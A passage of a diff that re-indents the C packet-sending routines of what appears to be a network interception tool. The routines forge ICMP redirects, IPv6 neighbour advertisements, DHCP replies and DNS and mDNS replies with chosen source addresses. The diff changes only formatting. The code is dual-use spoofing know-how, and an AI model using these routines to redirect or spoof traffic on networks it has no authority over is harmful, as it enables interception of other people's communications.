*/ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + *po->L3.dst.addr32, /* source IP */ + *po->L3.src.addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); - + /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); @@ -385,11 +377,10 @@ int send_L3_icmp_unreach(struct packet_object *po) libnet_clear_packet(l); SEND_UNLOCK; - + return c; } - /* * helper function to send out an ICMP ECHO packet at layer 3 */ @@ -405,42 +396,41 @@ int send_L3_icmp(u_char type, struct ip_addr *sip, struct ip_addr *tip) SEND_LOCK; - /* create the ICMP header */ t = libnet_build_icmpv4_echo( - type, /* type */ - 0, /* code */ - 0, /* checksum */ - htons(EC_MAGIC_16), /* identification number */ - htons(EC_MAGIC_16), /* sequence number */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* pblock id */ + type, /* type */ + 0, /* code */ + 0, /* checksum */ + htons(EC_MAGIC_16), /* identification number */ + htons(EC_MAGIC_16), /* sequence number */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_echo: %s", libnet_geterror(l)); - + /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_ICMP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); + LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); @@ -449,7 +439,7 @@ int send_L3_icmp(u_char type, struct ip_addr *sip, struct ip_addr *tip) libnet_clear_packet(l); SEND_UNLOCK; - + return c; } @@ -469,45 +459,45 @@ int send_L2_icmp_echo(u_char type, struct ip_addr *sip, struct ip_addr *tip, u_i /* if not lnet warn the developer ;) */ BUG_IF(GBL_IFACE->lnet == 0); l = GBL_IFACE->lnet; - + SEND_LOCK; /* create the ICMP header */ t = libnet_build_icmpv4_echo( - type, /* type */ - 0, /* code */ - 0, /* checksum */ - htons(EC_MAGIC_16), /* identification number */ - htons(EC_MAGIC_16), /* sequence number */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* pblock id */ + type, /* type */ + 0, /* code */ + 0, /* checksum */ + htons(EC_MAGIC_16), /* identification number */ + htons(EC_MAGIC_16), /* sequence number */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_echo: %s", libnet_geterror(l)); - + /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_ICMP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); + LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); - + /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ETHERTYPE_IP, l); if (t == -1) @@ -516,16 +506,15 @@ int send_L2_icmp_echo(u_char type, struct ip_addr *sip, struct ip_addr *tip, u_i /* send the packet to Layer 2 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); - + /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; - + return c; } - /* * helper function to send out an ICMP REDIRECT packet * the header are created on the source packet PO. @@ -536,73 +525,73 @@ int send_icmp_redir(u_char type, struct ip_addr *sip, struct ip_addr *gw, struct libnet_t *l; struct libnet_ipv4_hdr *ip; int c; - + /* if not lnet warn the developer ;) */ BUG_IF(GBL_IFACE->lnet == 0); l = GBL_IFACE->lnet; - + /* retrieve the old ip header */ ip = (struct libnet_ipv4_hdr *)po->L3.header; - + SEND_LOCK; /* create the fake ip header for the icmp payload */ t = libnet_build_ipv4( - LIBNET_IPV4_H + 8, - //ntohs(ip->ip_len), /* original len */ - ip->ip_tos, /* original tos */ - ntohs(ip->ip_id), /* original id */ - ntohs(ip->ip_off), /* original fragments */ - ip->ip_ttl, /* original ttl */ - ip->ip_p, /* original proto */ - ip->ip_sum, /* original checksum */ - ip->ip_src.s_addr, /* original source */ - ip->ip_dst.s_addr, /* original dest */ - po->L4.header, /* the 64 bit of the original datagram */ - 8, /* payload size */ - l, - 0); + LIBNET_IPV4_H + 8, + // ntohs(ip->ip_len), /* original len */ + ip->ip_tos, /* original tos */ + ntohs(ip->ip_id), /* original id */ + ntohs(ip->ip_off), /* original fragments */ + ip->ip_ttl, /* original ttl */ + ip->ip_p, /* original proto */ + ip->ip_sum, /* original checksum */ + ip->ip_src.s_addr, /* original source */ + ip->ip_dst.s_addr, /* original dest */ + po->L4.header, /* the 64 bit of the original datagram */ + 8, /* payload size */ + l, + 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* create the ICMP header */ t = libnet_build_icmpv4_redirect( - ICMP_REDIRECT, /* type */ - type, /* code */ - 0, /* checksum */ - *gw->addr32, /* gateway ip */ - NULL, /* payload */ - 0, /* payload len */ - l, /* libnet handle */ - 0); /* pblock id */ + ICMP_REDIRECT, /* type */ + type, /* code */ + 0, /* checksum */ + *gw->addr32, /* gateway ip */ + NULL, /* payload */ + 0, /* payload len */ + l, /* libnet handle */ + 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_redirect: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ - t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H + - LIBNET_IPV4_H + 8, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_ICMP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *po->L3.src.addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H + + LIBNET_IPV4_H + 8, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *po->L3.src.addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, po->L2.src, ETHERTYPE_IP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - - /* + + /* * send the packet to Layer 2 * (sending icmp redirect is not permitted at layer 3) */ @@ -613,7 +602,7 @@ int send_icmp_redir(u_char type, struct ip_addr *sip, struct ip_addr *gw, struct libnet_clear_packet(l); SEND_UNLOCK; - + return c; } @@ -680,7 +669,6 @@ int send_L2_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac) SEND_LOCK; - memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); @@ -726,82 +714,81 @@ int send_L2_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac) /* * send IP packet with an unknown header option - * RFC2460 conforming hosts, respond with a ICMPv6 parameter problem + * RFC2460 conforming hosts, respond with a ICMPv6 parameter problem * message even those not intended to respond to ICMP echos */ -int send_L2_icmp6_echo_opt(struct ip_addr *sip, struct ip_addr *tip, u_int8* o_data, u_int32 o_len, u_int8 *tmac) +int send_L2_icmp6_echo_opt(struct ip_addr *sip, struct ip_addr *tip, u_int8 *o_data, u_int32 o_len, u_int8 *tmac) { - libnet_ptag_t t; - struct libnet_in6_addr src, dst; - int c, h = 0; - libnet_t *l; - - BUG_IF(GBL_IFACE->lnet == NULL); - - l = GBL_IFACE->lnet; - - SEND_LOCK; - - memcpy(&src, sip->addr, sizeof(src)); - memcpy(&dst, tip->addr, sizeof(dst)); - - t = libnet_build_icmpv6_echo(ICMP6_ECHO_REQUEST, /* type */ - 0, /* code */ - 0, /* checksum */ - EC_MAGIC_16, /* id */ - 0, /* sequence number */ - NULL, /* data */ - 0, /* its size */ - l, /* handle */ - 0); - ON_ERROR(t, -1, "libnet_build_icmpv6_echo: %s", libnet_geterror(l)); - libnet_toggle_checksum(l, t, LIBNET_ON); - - t = libnet_build_ipv6_destopts(IPPROTO_ICMPV6, /* next header */ - LIBNET_IPV6_DESTOPTS_H / 8, /* lenth */ - o_data, /* payload */ - o_len, /* payload length */ - l, /* handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv6_destopts: %s", libnet_geterror(l)); - - h = LIBNET_IPV6_DESTOPTS_H + o_len + LIBNET_ICMPV6_H; - t = libnet_build_ipv6(0, /* tc */ - 0, /* flow label */ - h, /* next header size */ - IPPROTO_DSTOPTS, /* next header */ - 255, /* hop limit */ - src, /* source */ - dst, /* destination */ - NULL, /* payload and size */ - 0, - l, /* handle */ - 0); /* ptag */ - ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); + libnet_ptag_t t; + struct libnet_in6_addr src, dst; + int c, h = 0; + libnet_t *l; + + BUG_IF(GBL_IFACE->lnet == NULL); + + l = GBL_IFACE->lnet; + + SEND_LOCK; + + memcpy(&src, sip->addr, sizeof(src)); + memcpy(&dst, tip->addr, sizeof(dst)); + + t = libnet_build_icmpv6_echo(ICMP6_ECHO_REQUEST, /* type */ + 0, /* code */ + 0, /* checksum */ + EC_MAGIC_16, /* id */ + 0, /* sequence number */ + NULL, /* data */ + 0, /* its size */ + l, /* handle */ + 0); + ON_ERROR(t, -1, "libnet_build_icmpv6_echo: %s", libnet_geterror(l)); + libnet_toggle_checksum(l, t, LIBNET_ON); + + t = libnet_build_ipv6_destopts(IPPROTO_ICMPV6, /* next header */ + LIBNET_IPV6_DESTOPTS_H / 8, /* lenth */ + o_data, /* payload */ + o_len, /* payload length */ + l, /* handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv6_destopts: %s", libnet_geterror(l)); + + h = LIBNET_IPV6_DESTOPTS_H + o_len + LIBNET_ICMPV6_H; + t = libnet_build_ipv6(0, /* tc */ + 0, /* flow label */ + h, /* next header size */ + IPPROTO_DSTOPTS, /* next header */ + 255, /* hop limit */ + src, /* source */ + dst, /* destination */ + NULL, /* payload and size */ + 0, + l, /* handle */ + 0); /* ptag */ + ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ETHERTYPE_IPV6, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - c = libnet_write(l); - ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); - - libnet_clear_packet(l); + c = libnet_write(l); + ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); + libnet_clear_packet(l); - SEND_UNLOCK; + SEND_UNLOCK; - return c; + return c; } -/* +/* * Sends neighbor solicitation request (like arp request with ipv4) * macaddr parameter allows to add sender's mac address. This is an option for unicast requests. * See RFC4861 for more information. */ int send_L2_icmp6_nsol(struct ip_addr *sip, struct ip_addr *tip, struct ip_addr *req, u_int8 *macaddr, u_int8 *tmac) -{ +{ libnet_ptag_t t; int c, h = 0; struct libnet_in6_addr src, dst, r; @@ -812,12 +799,11 @@ int send_L2_icmp6_nsol(struct ip_addr *sip, struct ip_addr *tip, struct ip_addr SEND_LOCK; - memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); memcpy(&r, req->addr, sizeof(r)); - if(macaddr != NULL) { + if (macaddr != NULL) { t = libnet_build_icmpv6_ndp_opt(ND_OPT_SOURCE_LINKADDR, /* Address type */ macaddr, /* MAC address */ MEDIA_ADDR_LEN, /* Address length */ @@ -839,7 +825,7 @@ int send_L2_icmp6_nsol(struct ip_addr *sip, struct ip_addr *tip, struct ip_addr ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_nsol: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); h += LIBNET_ICMPV6_NDP_NSOL_H; - + t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ h, /* length */ @@ -875,13 +861,12 @@ int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr struct libnet_in6_addr src, dst; int flags; libnet_t *l; - + BUG_IF(GBL_IFACE->lnet == NULL); l = GBL_IFACE->lnet; SEND_LOCK; - memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); @@ -893,8 +878,8 @@ int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_lla: %s", libnet_geterror(l)); h += LIBNET_ICMPV6_NDP_OPT_H + 6; - flags = ND_NA_FLAG_SOLICITED|ND_NA_FLAG_OVERRIDE; - if(router) + flags = ND_NA_FLAG_SOLICITED | ND_NA_FLAG_OVERRIDE; + if (router) flags |= ND_NA_FLAG_ROUTER; t = libnet_build_icmpv6_ndp_nadv(ND_NEIGHBOR_ADVERT, /* type */ 0, /* code */ @@ -908,7 +893,7 @@ int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_nadv: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); h += LIBNET_ICMPV6_NDP_NADV_H; - + t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ h, /* length */ @@ -921,7 +906,7 @@ int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr l, /* handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); - + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ETHERTYPE_IPV6, l); if (t == -1) @@ -950,62 +935,62 @@ int send_dhcp_reply(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_in /* if not lnet warn the developer ;) */ BUG_IF(GBL_IFACE->lnet == 0); l = GBL_IFACE->lnet; - + SEND_LOCK; - + /* add the dhcp options */ t = libnet_build_data( - options, /* the options */ - optlen, /* options len */ - l, /* libnet handle */ - 0); /* libnet ptag */ + options, /* the options */ + optlen, /* options len */ + l, /* libnet handle */ + 0); /* libnet ptag */ ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); /* create the dhcp header */ t = libnet_build_data( - dhcp_hdr, /* the header */ - LIBNET_DHCPV4_H, /* dhcp len */ - l, /* libnet handle */ - 0); /* libnet ptag */ + dhcp_hdr, /* the header */ + LIBNET_DHCPV4_H, /* dhcp len */ + l, /* libnet handle */ + 0); /* libnet ptag */ ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); /* create the udp header */ t = libnet_build_udp( - 67, /* source port */ - 68, /* destination port */ - LIBNET_UDP_H + LIBNET_DHCPV4_H + optlen, /* packet size */ - 0, /* checksum */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* libnet id */ + 67, /* source port */ + 68, /* destination port */ + LIBNET_UDP_H + LIBNET_DHCPV4_H + optlen, /* packet size */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ - t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + optlen, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_UDP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + optlen, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ETHERTYPE_IP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - - /* + + /* * send the packet to Layer 2 * (sending icmp redirect is not permitted at layer 3) */ @@ -1016,7 +1001,7 @@ int send_dhcp_reply(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_in libnet_clear_packet(l); SEND_UNLOCK; - + return c; } @@ -1033,105 +1018,105 @@ int send_mdns_reply(struct iface_env *iface, u_int16 dport, struct ip_addr *sip, /* if not lnet warn the developer ;) */ BUG_IF(iface->lnet == 0); l = iface->lnet; - + SEND_LOCK; /* create the dns packet */ - t = libnet_build_dnsv4( - LIBNET_UDP_DNSV4_H, /* TCP or UDP */ - id, /* id */ - 0x8400, /* standard reply, no error */ - 0, /* num_q */ - anws_rr, /* num_anws_rr */ - auth_rr, /* num_auth_rr */ - addi_rr, /* num_addi_rr */ - data, - datalen, - l, /* libnet handle */ - 0); /* libnet id */ + t = libnet_build_dnsv4( + LIBNET_UDP_DNSV4_H, /* TCP or UDP */ + id, /* id */ + 0x8400, /* standard reply, no error */ + 0, /* num_q */ + anws_rr, /* num_anws_rr */ + auth_rr, /* num_auth_rr */ + addi_rr, /* num_addi_rr */ + data, + datalen, + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_dns: %s", libnet_geterror(l)); - + /* create the udp header */ t = libnet_build_udp( - 5353, /* source port */ - htons(dport), /* destination port */ - LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* packet size */ - 0, /* checksum */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* libnet id */ + 5353, /* source port */ + htons(dport), /* destination port */ + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* packet size */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ switch (proto) { - case AF_INET: { - t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 255, /* TTL */ - IPPROTO_UDP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); - /* auto calculate the checksum */ - libnet_toggle_checksum(l, t, LIBNET_ON); - - /* set Ethertype to IPv4 */ - ethertype = ETHERTYPE_IP; - - break; - } + case AF_INET: { + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 255, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); + /* auto calculate the checksum */ + libnet_toggle_checksum(l, t, LIBNET_ON); + + /* set Ethertype to IPv4 */ + ethertype = ETHERTYPE_IP; + + break; + } #ifdef WITH_IPV6 - case AF_INET6: { - struct libnet_in6_addr src, dst; - memcpy(&src, sip->addr, sizeof(src)); - memcpy(&dst, tip->addr, sizeof(dst)); - t = libnet_build_ipv6( - 0, /* traffic class */ - 0, /* flow label */ - LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* payload length */ - IPPROTO_UDP, /* next header */ - 255, /* hop limit */ - src, /* source IP */ - dst, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); - - /* set Ethertype to IPv6 */ - ethertype = ETHERTYPE_IPV6; - - break; - } + case AF_INET6: { + struct libnet_in6_addr src, dst; + memcpy(&src, sip->addr, sizeof(src)); + memcpy(&dst, tip->addr, sizeof(dst)); + t = libnet_build_ipv6( + 0, /* traffic class */ + 0, /* flow label */ + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* payload length */ + IPPROTO_UDP, /* next header */ + 255, /* hop limit */ + src, /* source IP */ + dst, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); + + /* set Ethertype to IPv6 */ + ethertype = ETHERTYPE_IPV6; + + break; + } #endif - }; - + } + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - + /* send the packet to Layer 2 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); - + SEND_UNLOCK; - + return c; } @@ -1145,108 +1130,108 @@ int send_dns_reply(struct iface_env *iface, u_int16 dport, struct ip_addr *sip, libnet_t *l; proto = ntohs(sip->addr_type); - + /* if not lnet warn the developer ;) */ BUG_IF(iface->lnet == 0); l = iface->lnet; - + SEND_LOCK; /* create the dns packet */ - t = libnet_build_dnsv4( - LIBNET_UDP_DNSV4_H, /* TCP or UDP */ - id, /* id */ - 0x8400, /* standard reply, no error */ - 1, /* num_q */ - anws_rr, /* num_anws_rr */ - auth_rr, /* num_auth_rr */ - addi_rr, /* num_addi_rr */ - data, - datalen, - l, /* libnet handle */ - 0); /* libnet id */ + t = libnet_build_dnsv4( + LIBNET_UDP_DNSV4_H, /* TCP or UDP */ + id, /* id */ + 0x8400, /* standard reply, no error */ + 1, /* num_q */ + anws_rr, /* num_anws_rr */ + auth_rr, /* num_auth_rr */ + addi_rr, /* num_addi_rr */ + data, + datalen, + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_dns: %s", libnet_geterror(l)); /* create the udp header */ t = libnet_build_udp( - 53, /* source port */ - htons(dport), /* destination port */ - LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* packet size */ - 0, /* checksum */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); /* libnet id */ + 53, /* source port */ + htons(dport), /* destination port */ + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* packet size */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); - + /* create the IP header */ switch (proto) { - case AF_INET: { - t = libnet_build_ipv4( - LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* length */ - 0, /* TOS */ - htons(EC_MAGIC_16), /* IP ID */ - 0, /* IP Frag */ - 64, /* TTL */ - IPPROTO_UDP, /* protocol */ - 0, /* checksum */ - *sip->addr32, /* source IP */ - *tip->addr32, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); - /* auto calculate the checksum */ - libnet_toggle_checksum(l, t, LIBNET_ON); - - /* set Ethertype to IPv4 */ - ethertype = ETHERTYPE_IP; - - break; - } + case AF_INET: { + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* length */ + 0, /* TOS */ + htons(EC_MAGIC_16), /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + *sip->addr32, /* source IP */ + *tip->addr32, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); + /* auto calculate the checksum */ + libnet_toggle_checksum(l, t, LIBNET_ON); + + /* set Ethertype to IPv4 */ + ethertype = ETHERTYPE_IP; + + break; + } #ifdef WITH_IPV6 - case AF_INET6: { - struct libnet_in6_addr src, dst; - memcpy(&src, sip->addr, sizeof(src)); - memcpy(&dst, tip->addr, sizeof(dst)); - t = libnet_build_ipv6( - 0, /* traffic class */ - 0, /* flow label */ - LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* payload length */ - IPPROTO_UDP, /* next header */ - 255, /* hop limit */ - src, /* source IP */ - dst, /* destination IP */ - NULL, /* payload */ - 0, /* payload size */ - l, /* libnet handle */ - 0); - ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); - - /* set Ethertype to IPv6 */ - ethertype = ETHERTYPE_IPV6; - - break; - } + case AF_INET6: { + struct libnet_in6_addr src, dst; + memcpy(&src, sip->addr, sizeof(src)); + memcpy(&dst, tip->addr, sizeof(dst)); + t = libnet_build_ipv6( + 0, /* traffic class */ + 0, /* flow label */ + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* payload length */ + IPPROTO_UDP, /* next header */ + 255, /* hop limit */ + src, /* source IP */ + dst, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); + + /* set Ethertype to IPv6 */ + ethertype = ETHERTYPE_IPV6; + + break; + } #endif - }; - + } + /* add the media header */ t = ec_build_link_layer(GBL_PCAP->dlt, tmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); - + /* send the packet to Layer 2 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); - + SEND_UNLOCK; - + return c; } @@ -1267,29 +1252,28 @@ int send_udp(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 spo SEND_LOCK; - /* * libnet_build_udp(uint16_t sp, uint16_t dp, uint16_t len, uint16_t sum, -const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) -*/ + * const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) + */ t = libnet_build_udp( - htons(sport), - htons(dport), - LIBNET_UDP_H + length, - 0, - payload, - length, - l, - 0); + htons(sport), + htons(dport), + LIBNET_UDP_H + length, + 0, + payload, + length, + l, + 0); ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create IP header */ - switch(proto) { - case AF_INET: { - t = libnet_build_ipv4( + switch (proto) { + case AF_INET: { + t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H 